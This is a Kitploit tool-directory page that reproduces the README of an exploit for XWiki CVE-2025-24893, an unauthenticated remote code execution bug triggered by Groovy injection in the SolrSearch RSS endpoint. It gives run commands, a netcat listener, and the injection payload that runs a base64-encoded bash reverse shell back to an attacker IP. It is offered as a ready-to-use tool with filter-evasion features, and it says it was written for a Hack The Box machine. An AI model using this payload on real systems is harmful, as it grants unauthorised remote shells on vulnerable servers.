Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
xwiki-cve-2025-24893-exploit — Unauthenticated RCE exploit for XWiki CVE-2025-24893 via Groovy script injection | Kitploit
Tools/GitHubGitHub/tomkingori/xwiki-cve-2025-24893-exploit
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubtomkingori/xwiki-cve-2025-24893-exploit

xwiki-cve-2025-24893-exploit

Unauthenticated RCE exploit for XWiki CVE-2025-24893 via Groovy script injection

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
View Repository
8 months agoNot yet reviewed
Share

XWiki CVE-2025-24893 Exploit

Unauthenticated Remote Code Execution exploit for XWiki versions vulnerable to CVE-2025-24893.

Vulnerability Overview

XWiki versions prior to 15.10.9 are vulnerable to unauthenticated RCE through Groovy script injection in the SolrSearch RSS feed handler. The vulnerability exists because XWiki fails to properly sanitize user input in the text parameter, allowing attackers to break out of the RSS context and inject arbitrary Groovy code.

CVE ID: CVE-2025-24893
CVSS Score: 9.8 (Critical)
Affected Versions: XWiki < 15.10.9

Features

  • Simple command-line interface
  • Automatic payload generation and encoding
  • Base64-encoded reverse shell to bypass basic filters
  • Minimal dependencies (only requests library)

Requirements

root@kitploit:~
pip3 install requests

Usage

root@kitploit:~
python3 exploit.py <target_url> <attacker_ip> <listener_port>

Example:

root@kitploit:~
# Start listener on attacker machine
nc -lvnp 9001

# Run exploit
python3 exploit.py http://10.10.11.80:8080 10.10.14.5 9001

How It Works

  1. Constructs a bash reverse shell command
  2. Base64 encodes the payload
  3. Wraps it in Groovy code using template injection (}}}}}}{{{{groovy}}}})
  4. URL encodes the payload while preserving necessary delimiters
  5. Sends GET request to /xwiki/bin/get/Main/SolrSearch?media=rss&text=<payload>
  6. XWiki processes the malicious RSS feed and executes the Groovy code

Proof of Concept

The exploit targets the following endpoint:

root@kitploit:~
/xwiki/bin/get/Main/SolrSearch?media=rss&text=

The vulnerability allows breaking out of the RSS feed context:

root@kitploit:~
}}}}}}{{{{async async=false}}}}{{{{groovy}}}}
"bash -c {echo,<base64_payload>}|{base64,-d}|{bash,-i}".execute()
{{{{/groovy}}}}{{{{/async}}}}

Disclaimer

This tool is for educational and authorized penetration testing purposes only. The author is not responsible for any misuse or damage caused by this program. Only use this exploit against systems you own or have explicit permission to test.

References

  • XWiki Security Advisory
  • CVE-2025-24893

License

MIT License - See LICENSE file for details

Author

Created for HTB box "Editor"


Note: Always ensure you have proper authorization before testing any systems.

Download Tool